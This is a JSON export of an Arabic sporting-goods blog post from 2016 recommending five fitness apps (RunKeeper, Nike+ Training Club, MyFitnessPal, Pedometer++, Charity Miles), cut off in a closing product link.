{"id":5350,"date":"2016-02-11T14:39:23","date_gmt":"2016-02-11T10:39:23","guid":{"rendered":"https:\/\/become.sssports.com\/ar\/?p=5350"},"modified":"2025-11-12T16:02:36","modified_gmt":"2025-11-12T12:02:36","slug":"top-5-fitness-apps-for-2016","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/top-5-fitness-apps-for-2016\/","title":{"rendered":"\u0623\u0647\u0645 5 \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0644\u0639\u0627\u0645 2016"},"content":{"rendered":"<p><span id=\"goog-gtc-unit-3\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0647\u0630\u0627 \u0627\u0644\u0639\u0635\u0631 \u0647\u0648 \u0639\u0635\u0631 \u0627\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a\u0627\u060c \u0648\u062c\u0645\u064a\u0639\u0646\u0627 (\u0623\u0648 \u0645\u0639\u0638\u0645\u0646\u0627) \u0628\u0627\u0631\u0639 \u0641\u064a \u0623\u0645\u0648\u0631 \u0627\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a\u0627.<\/span><\/span> <span id=\"goog-gtc-unit-4\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0641\u0644\u0645\u0627\u0630\u0627 \u0625\u0630\u0627\u064b \u0644\u0627 \u0646\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0647\u0648\u0627\u062a\u0641 \u0627\u0644\u0630\u0643\u064a\u0629 \u0644\u0641\u0627\u0626\u062f\u062a\u0646\u0627\u060c \u0628\u062a\u062d\u0645\u064a\u0644 \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0627\u0644\u0645\u062a\u0648\u0641\u0631\u0629\u060c \u0644\u0646\u0643\u0648\u0646 \u0639\u0644\u0649 \u0627\u0644\u0637\u0631\u064a\u0642 \u0627\u0644\u0635\u062d\u064a\u062d \u0641\u064a \u0645\u062a\u0627\u0628\u0639\u0629 \u062a\u0645\u0627\u0631\u064a\u0646\u0646\u0627 \u064a\u0648\u0645\u0627\u064b \u0628\u064a\u0648\u0645.<\/span><\/span> <span id=\"goog-gtc-unit-5\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0625\u0644\u064a\u0643 \u0647\u0646\u0627 \u062e\u0645\u0633\u0629 \u0645\u0646 \u0623\u0647\u0645 \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0644\u0639\u0627\u0645 2016 \u0648\u0627\u0644\u062a\u064a \u0646\u0648\u0635\u064a \u0628\u062a\u062d\u0645\u064a\u0644\u0647\u0627 \u0639\u0644\u0649 \u0647\u0627\u062a\u0641\u0643 \u0627\u0644\u064a\u0648\u0645.<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-6\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100\" dir=\"rtl\">1-<\/span><\/span> <strong>\u0631\u064e\u0646 \u0643\u064a\u0628\u0631<\/strong> (RunKeeper)<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5389 size-full\" title=\"RunKeeper\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/RUN-KEEPER.png\" alt=\"\u0627\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p><span id=\"goog-gtc-unit-8\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u064a\u0642\u0648\u0645 \u062a\u0637\u0628\u064a\u0642 RunKeeper (\u0631\u064e\u0646 \u0643\u064a\u0628\u0651\u0631) \u0628\u062a\u062a\u0628\u0639 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a: \u0627\u0644\u0633\u0631\u0639\u0629\u060c \u0627\u0644\u0645\u0633\u0627\u0641\u0629\u060c \u0648\u0645\u0647\u0645\u0627 \u0643\u0627\u0646 \u0627\u0644\u0646\u0634\u0627\u0637 \u0627\u0644\u0630\u064a \u062a\u0645\u0627\u0631\u0633\u0647 \u0645\u0646 \u0631\u0643\u0648\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0629 \u0625\u0644\u0649 \u0627\u0644\u062a\u0632\u0644\u062c \u0627\u0644\u0623\u0631\u0636\u064a \u0623\u0648 \u0627\u0644\u062c\u0631\u064a.<\/span><\/span> <span id=\"goog-gtc-unit-9\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u064a\u062a\u0645 \u062a\u0633\u062c\u064a\u0644 \u0643\u0644 \u0630\u0644\u0643 \u0641\u064a \u0627\u0644\u0648\u0642\u062a \u0627\u0644\u0641\u0639\u0644\u064a \u0644\u0644\u0646\u0634\u0627\u0637 \u0644\u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u0645\u0631\u0627\u0642\u0628\u0629 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0623\u064a\u0646\u0645\u0627 \u0630\u0647\u0628\u062a.<\/span><\/span> <span id=\"goog-gtc-unit-10\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u062a\u0639\u062a\u0628\u0631 \u0645\u064a\u0632\u0629 \u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0645\u0648\u0627\u0642\u0639 GPS \u0623\u062f\u0627\u0629 \u0639\u0638\u064a\u0645\u0629 \u062a\u0632\u0648\u062f\u0643 \u0628\u0646\u062a\u0627\u0626\u062c \u0628\u063a\u0627\u064a\u0629 \u0627\u0644\u062f\u0642\u0629\u060c<\/span><\/span> <span id=\"goog-gtc-unit-11\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0644\u062a\u0643\u0648\u0646 \u0628\u0645\u062c\u0631\u062f \u0627\u0644\u0627\u0646\u062a\u0647\u0627\u0621 \u0645\u0646 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0642\u0627\u062f\u0631\u0627\u064b \u0639\u0644\u0649 \u062a\u0628\u0627\u062f\u0644 \u0647\u0630\u0647 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0645\u0639 \u0623\u0635\u062f\u0642\u0627\u0626\u0643 \u0639\u0644\u0649 \u0634\u0628\u0643\u0627\u062a \u0627\u0644\u062a\u0648\u0627\u0635\u0644 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u060c \u0645\u0645\u0627 \u064a\u0634\u0643\u0644 \u062d\u0627\u0641\u0632\u0627\u064b \u0643\u0628\u064a\u0631\u0627\u064b \u0644\u0632\u0645\u0644\u0627\u0626\u0643 \u0641\u064a \u0627\u0644\u0646\u0627\u062f\u064a \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0644\u0625\u0636\u0627\u0641\u0629 \u0639\u0646\u0635\u0631 \u0627\u0644\u062a\u0634\u062c\u064a\u0639 \u0648\u0627\u0644\u0645\u0646\u0627\u0641\u0633\u0629 \u0627\u0644\u0648\u062f\u064a\u0629.<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-12\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100\" dir=\"rtl\">2-<\/span><\/span> <strong>\u0646\u0627\u064a\u0643\u064a+ \u062a\u0631\u064a\u0646\u0646\u062c \u0643\u0644\u064e\u0628\u0652<\/strong> (Nike+ Training Club)<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5385 size-full\" title=\"Nike + Training Club\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/NIKE.png\" alt=\"\u0627\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p><span id=\"goog-gtc-unit-14\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0625\u0646 \u0643\u0646\u062a \u062a\u0628\u062d\u062b \u0639\u0646 \u062a\u0637\u0628\u064a\u0642 \u064a\u062a\u0645\u0627\u0634\u0649 \u0645\u0639 \u0645\u062a\u0637\u0644\u0628\u0627\u062a\u0643 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u062a\u0645\u0631\u064a\u0646\u060c \u0641\u0625\u0646 \u062a\u0637\u0628\u064a\u0642 Nike + Training Club (\u0646\u0627\u064a\u0643\u064a + \u062a\u0631\u064a\u0646\u0646\u062c \u0643\u0644\u064e\u0628\u0652) \u064a\u0633\u062a\u062d\u0642 \u0646\u0642\u0631\u0629 \u0645\u0646\u0643.<\/span><\/span> <span id=\"goog-gtc-unit-15\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0641\u0645\u0647\u0645\u0627 \u0643\u0627\u0646 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0630\u064a \u062a\u062d\u0642\u0642\u0647\u060c \u0633\u062a\u062c\u062f \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062a\u064a \u062a\u0646\u0627\u0633\u0628\u0643 \u0636\u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u062a\u0637\u0628\u064a\u0642.<\/span><\/span> <span id=\"goog-gtc-unit-16\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062d\u0627\u0648\u0644 \u0632\u064a\u0627\u062f\u0629 \u0645\u0639\u062f\u0644 \u0625\u0646\u062c\u0627\u0632\u0627\u062a\u0643 \u0643\u0644 \u0623\u0633\u0628\u0648\u0639\u060c \u0648\u0633\u062a\u0644\u0627\u062d\u0638 \u0627\u0644\u062a\u0637\u0648\u0631 \u0627\u0644\u0630\u064a \u0633\u062a\u062d\u0642\u0642\u0647 \u0641\u064a \u0644\u064a\u0627\u0642\u062a\u0643.<\/span><\/span> <span id=\"goog-gtc-unit-17\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u0625\u0646 \u0643\u0646\u062a \u063a\u064a\u0631 \u0648\u0627\u062b\u0642\u0627\u064b \u0645\u0646 \u0643\u064a\u0641\u064a\u0629 \u062a\u062d\u0642\u064a\u0642 \u0630\u0644\u0643\u060c \u064a\u0645\u0643\u0646\u0643 \u0628\u0628\u0633\u0627\u0637\u0629 \u0645\u062a\u0627\u0628\u0639\u0629 \u0645\u0642\u0627\u0637\u0639 \u0627\u0644\u06a4\u064a\u062f\u064a\u0648 \u0627\u0644\u062a\u064a \u064a\u062a\u0636\u0645\u0646\u0647\u0627 \u0644\u0634\u0631\u062d \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u062e\u0637\u0648\u0629 \u0628\u062e\u0637\u0648\u0629. \u062d\u064a\u062b \u064a\u0642\u062f\u0645 \u0644\u0643 100 \u062a\u0645\u0631\u064a\u0646 \u064a\u0646\u0627\u0633\u0628 \u0627\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646 \u0648\u0627\u0644\u0645\u062a\u0642\u062f\u0645\u064a\u0646 \u0645\u0639\u0627\u064b.<\/span><\/span> <span id=\"goog-gtc-unit-18\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0625\u0646 \u0647\u0630\u0627 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0645\u0646 \u0645\u0646\u0638\u0648\u0631\u0646\u0627 \u0647\u0648 \u0648\u0627\u062d\u062f \u0645\u0646 \u0623\u0647\u0645 \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0627\u0644\u0645\u0634\u062c\u0639\u0651\u0629 \u0648\u0627\u0644\u0645\u062a\u0648\u0641\u0631\u0629 \u0627\u0644\u064a\u0648\u0645.<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-19\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100\" dir=\"rtl\">3-<\/span><\/span> <strong>\u0645\u0627\u064a \u0641\u064a\u062a\u0646\u0650\u0633 \u0628\u0627\u0644<\/strong> (MyFitnessPal)<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5382 size-full\" title=\"MyFitnessPal\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/MYFITNESSPAL.png\" alt=\"\u0627\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p><span id=\"goog-gtc-unit-21\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u062a\u062a\u0628\u0639 \u0645\u0639\u062f\u0644\u0627\u062a \u0635\u062d\u0651\u062a\u0643 \u0644\u062a\u062d\u0642\u064a\u0642 \u0623\u0642\u0635\u0649 \u0641\u0627\u0626\u062f\u0629 \u0645\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629.<\/span><\/span> <span id=\"goog-gtc-unit-22\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u064a\u0634\u0645\u0644 \u0647\u0630\u0627 \u0645\u0631\u0627\u0642\u0628\u0629 \u0627\u0644\u062a\u063a\u0630\u064a\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u0648\u0645\u0642\u062f\u0627\u0631 \u0627\u0644\u0633\u0639\u0631\u0627\u062a \u0627\u0644\u062d\u0631\u0627\u0631\u064a\u0629\u060c \u062d\u064a\u062b \u062a\u0633\u0627\u0639\u062f\u0643 \u0647\u0630\u0647 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0639\u0644\u0649 \u0641\u0647\u0645 \u062a\u0623\u062b\u064a\u0631 \u0645\u062c\u0647\u0648\u062f \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0648\u0627\u0644\u062a\u063a\u0630\u064a\u0629 \u0639\u0644\u0649 \u0635\u062d\u0651\u062a\u0643.<\/span><\/span> <span id=\"goog-gtc-unit-23\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u0645\u0646 \u0623\u062c\u0644 \u062a\u062d\u0642\u064a\u0642 \u0645\u0633\u062a\u0648\u0649 \u0623\u0639\u0644\u0649 \u0644\u0644\u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0643\u060c \u0633\u062a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u062a\u0646\u0638\u064a\u0645 \u0646\u0638\u0627\u0645\u0643 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0648\u0627\u0644\u062d\u0631\u0635 \u0639\u0644\u0649 \u062a\u0646\u0627\u0648\u0644 \u0643\u0645\u064a\u0627\u062a \u0645\u062a\u0639\u0627\u062f\u0644\u0629 \u0645\u0646 \u0627\u0644\u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0643\u0627\u0645\u0644\u0629\u064b.<\/span><\/span> <span id=\"goog-gtc-unit-24\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u0647\u0643\u0630\u0627\u060c \u0641\u0625\u0646\u0643 \u0633\u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u0631\u0635\u062f \u0643\u0645\u064a\u0629 \u0627\u0644\u063a\u0630\u0627\u0621 \u0627\u0644\u062a\u064a \u062a\u062d\u062a\u0627\u062c\u0647\u0627 \u0645\u0639 \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0648\u0628\u062f\u0648\u0646\u0647 \u0639\u0628\u0631 \u062a\u0637\u0628\u064a\u0642 MyFitnessPal (\u0645\u0627\u064a \u0641\u064a\u062a\u0646\u0650\u0633 \u0628\u0627\u0644).<\/span><\/span> <span id=\"goog-gtc-unit-25\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062d\u064a\u062b \u062a\u0643\u0645\u0646 \u0627\u0644\u0645\u0633\u0623\u0644\u0629 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0648\u062c\u0639\u0644 \u0627\u0644\u063a\u0630\u0627\u0621 \u064a\u0639\u0632\u0632 \u0645\u0646 \u0646\u062a\u0627\u0626\u062c \u062a\u062f\u0631\u064a\u0628\u0627\u062a\u0643.<\/span><\/span> <span id=\"goog-gtc-unit-26\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0628\u0630\u0643\u0627\u0621 \u0645\u0639 \u062a\u0637\u0628\u064a\u0642 MyFitnessPal (\u0645\u0627\u064a \u0641\u064a\u062a\u0646\u0650\u0633 \u0628\u0627\u0644).<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-27\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100\" dir=\"rtl\">4-<\/span><\/span>\u00a0<strong>\u0628\u064a\u062f\u0648\u0645\u064a\u062a\u0631<\/strong> (++Pedometer)<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5387 size-full\" title=\"Pedometer++\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/PEDOMETER.png\" alt=\"\u0627\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p><span id=\"goog-gtc-unit-29\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u064a\u0639\u062a\u0628\u0631 \u0627\u0644\u0645\u0634\u064a \u062a\u0645\u0631\u064a\u0646\u0627\u064b \u0628\u0633\u064a\u0637\u0627\u064b\u060c \u0648\u0645\u0639 \u0630\u0644\u0643 \u0641\u0625\u0646 \u0642\u0644\u0651\u0629 \u0645\u0646\u0651\u0627 \u064a\u0645\u0627\u0631\u0633 \u062a\u0644\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0641\u064a \u064a\u0648\u0645\u0646\u0627 \u0647\u0630\u0627.<\/span><\/span> <span id=\"goog-gtc-unit-30\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0627\u0644\u0645\u0634\u064a \u0644\u0628\u0636\u0639\u0629 \u0622\u0644\u0627\u0641 \u0645\u0646 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u064a\u0648\u0645\u064a\u0627\u064b \u0645\u0646 \u0623\u062c\u0644 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0635\u062d\u064a \u0645\u0646 \u0627\u0644\u062d\u0631\u0643\u0629\u060c \u0643\u0645\u0627 \u0623\u0646\u0647 \u0645\u0646 \u0627\u0644\u0645\u062b\u064a\u0631 \u0644\u0644\u0627\u0647\u062a\u0645\u0627\u0645 \u0623\u0646 \u0646\u0639\u0631\u0641 \u0639\u062f\u062f \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u064a \u0646\u062d\u0642\u0642\u0647\u0627 \u062f\u0648\u0646 \u0623\u0646 \u0646\u0644\u0627\u062d\u0638.<\/span><\/span> <span id=\"goog-gtc-unit-31\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0628\u0625\u0645\u0643\u0627\u0646\u0643 \u0630\u0644\u0643 \u0645\u0639 \u062a\u0637\u0628\u064a\u0642 Pedometer++ (\u0628\u064a\u062f\u0648\u0645\u064a\u062a\u0631) \u0644\u0631\u0635\u062f \u0639\u062f\u062f \u062e\u0637\u0648\u0627\u062a\u0643 \u062e\u0644\u0627\u0644 \u0627\u0644\u064a\u0648\u0645.<\/span><\/span> <span id=\"goog-gtc-unit-32\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0642\u0645 \u0628\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0628\u0628\u0633\u0627\u0637\u0629 \u0648\u062a\u0641\u0642\u0651\u062f \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0641\u064a \u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u064a\u0648\u0645 \u0644\u062a\u0631\u0649 \u0625\u0646 \u0643\u0646\u062a \u062a\u062d\u0642\u0642 \u0627\u0644\u062d\u062f \u0627\u0644\u0623\u062f\u0646\u0649 \u0645\u0646 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629\u060c<\/span><\/span> <span id=\"goog-gtc-unit-33\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0641\u0625\u0646 \u0644\u0645 \u062a\u0643\u0646 \u062a\u062d\u0642\u0642\u0647\u0627\u060c \u0639\u0644\u064a\u0643 \u0628\u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0646\u0638\u064a\u0645 \u064a\u0648\u0645\u0643 \u0644\u0625\u064a\u062c\u0627\u062f \u0627\u0644\u0648\u0642\u062a \u0627\u0644\u0643\u0627\u0641\u064a \u0644\u0644\u0645\u0634\u064a\u060c \u0633\u0648\u0627\u0621 \u0628\u062a\u0631\u0643 \u0633\u064a\u0627\u0631\u062a\u0643 \u0641\u064a \u0627\u0644\u0645\u0646\u0632\u0644 \u0623\u0648 \u0628\u0635\u0639\u0648\u062f \u0627\u0644\u062f\u0631\u062c \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u0645\u0635\u0639\u062f \u0644\u062a\u0639\u0648\u064a\u0636 \u0647\u0630\u0627 \u0627\u0644\u0646\u0642\u0635 \u0648\u0628\u0630\u0644 \u062c\u0647\u062f \u0625\u0636\u0627\u0641\u064a \u0644\u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u062e\u0644\u0627\u0644 \u0627\u0644\u064a\u0648\u0645.<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-34\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100\" dir=\"rtl\">5-<\/span><\/span> <strong>\u062a\u0634\u0627\u0631\u064a\u062a\u064a \u0645\u0627\u064a\u0644\u0632<\/strong> (Charity Miles)<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5380 size-full\" title=\"Charity Miles\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/CHARITY-MILES.png\" alt=\"\u0627\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p><span id=\"goog-gtc-unit-36\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0645\u0646 \u0627\u0644\u0635\u0639\u0628 \u0623\u062d\u064a\u0627\u0646\u0627\u064b \u0625\u064a\u062c\u0627\u062f \u0627\u0644\u062d\u0627\u0641\u0632 \u0644\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u0627\u0631\u060c \u0648\u064a\u0643\u0648\u0646 \u0630\u0644\u0643 \u0623\u0635\u0639\u0628 \u0641\u064a \u0633\u0627\u0639\u0627\u062a \u0627\u0644\u0635\u0628\u0627\u062d \u0627\u0644\u0628\u0627\u0643\u0631 \u0623\u0648 \u062e\u0644\u0627\u0644 \u0627\u0644\u0644\u064a\u0644 \u0628\u0639\u062f \u0633\u0627\u0639\u0627\u062a \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0637\u0648\u064a\u0644\u0629.<\/span><\/span> <span id=\"goog-gtc-unit-37\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0625\u0646 \u0643\u0646\u062a \u0628\u062d\u0627\u062c\u0629 \u0644\u0628\u0639\u0636 \u0627\u0644\u062a\u0634\u062c\u064a\u0639\u060c \u0641\u0625\u0646 \u062a\u0637\u0628\u064a\u0642 Charity Miles (\u062a\u0634\u0627\u0631\u064a\u062a\u064a \u0645\u0627\u064a\u0644\u0632) \u0647\u0648 \u0648\u0633\u064a\u0644\u0629 \u0631\u0627\u0626\u0639\u0629 \u0644\u0645\u0646\u062d\u0643 \u062a\u0644\u0643 \u0627\u0644\u062f\u0641\u0639\u0629 \u0627\u0644\u062a\u0634\u062c\u064a\u0639\u064a\u0629.<\/span><\/span> <span id=\"goog-gtc-unit-38\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0641\u0647\u0648 \u064a\u062f\u0639\u0645\u0643 \u0641\u064a \u0643\u0644 \u062e\u0637\u0648\u0629 \u0648\u0643\u0644 \u0643\u064a\u0644\u0648\u0645\u062a\u0631 \u062a\u0646\u062c\u0632\u0647\u060c\u062d\u064a\u062b \u064a\u0642\u0648\u0645 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0628\u0627\u0644\u062a\u0628\u0631\u0639 \u0628\u0645\u0628\u0644\u063a \u0645\u0646 \u0627\u0644\u0645\u0627\u0644 \u0644\u062c\u0645\u0639\u064a\u0629 \u062e\u064a\u0631\u064a\u0629 \u0645\u0646 \u0627\u062e\u062a\u064a\u0627\u0631\u0643 \u0644\u064a\u062a\u0645 \u062a\u062d\u0642\u064a\u0642 \u0647\u062f\u0641\u0643 \u0628\u0634\u0643\u0644 \u0643\u0627\u0645\u0644\u060c<\/span><\/span> <span id=\"goog-gtc-unit-39\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u064a\u062a\u0645 \u0627\u0644\u0627\u062a\u0641\u0627\u0642 \u0639\u0644\u0649 \u0627\u0644\u0645\u0628\u0644\u063a \u0645\u0633\u0628\u0642\u0627\u064b \u0644\u062a\u0643\u0648\u0646 \u0639\u0644\u0649 \u062f\u0631\u0627\u064a\u0629 \u062c\u064a\u062f\u0629 \u0628\u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u062a\u062d\u0648\u064a\u0644.<\/span><\/span> <span id=\"goog-gtc-unit-40\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u0647\u0643\u0630\u0627\u060c \u0641\u0625\u0646\u0643 \u062e\u0644\u0627\u0644 \u0645\u0645\u0627\u0631\u0633\u062a\u0643 \u0644\u0644\u062c\u0631\u064a \u0648\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0644\u064a\u0627\u0642\u062a\u0643\u060c \u062a\u0643\u0648\u0646 \u0623\u064a\u0636\u0627\u064b \u0642\u062f \u0642\u0645\u062a \u0628\u0639\u0645\u0644 \u0635\u0627\u0644\u062d \u0628\u0630\u0627\u062a \u0627\u0644\u0648\u0642\u062a.<\/span><\/span><\/p>\n<p><span id=\"goog-gtc-unit-41\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u0627\u0644\u0622\u0646 \u0628\u0639\u062f \u0623\u0646 \u062d\u0635\u0644\u062a \u0639\u0644\u0649 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a\u060c \u0627\u0633\u062a\u0639\u0631\u0636 \u0623\u062d\u062f\u062b \u0627\u0644\u0645\u0646\u062a\u062c\u0627\u062a \u0641\u064a \u062a\u0634\u0643\u064a\u0644\u0629\u00a0<a 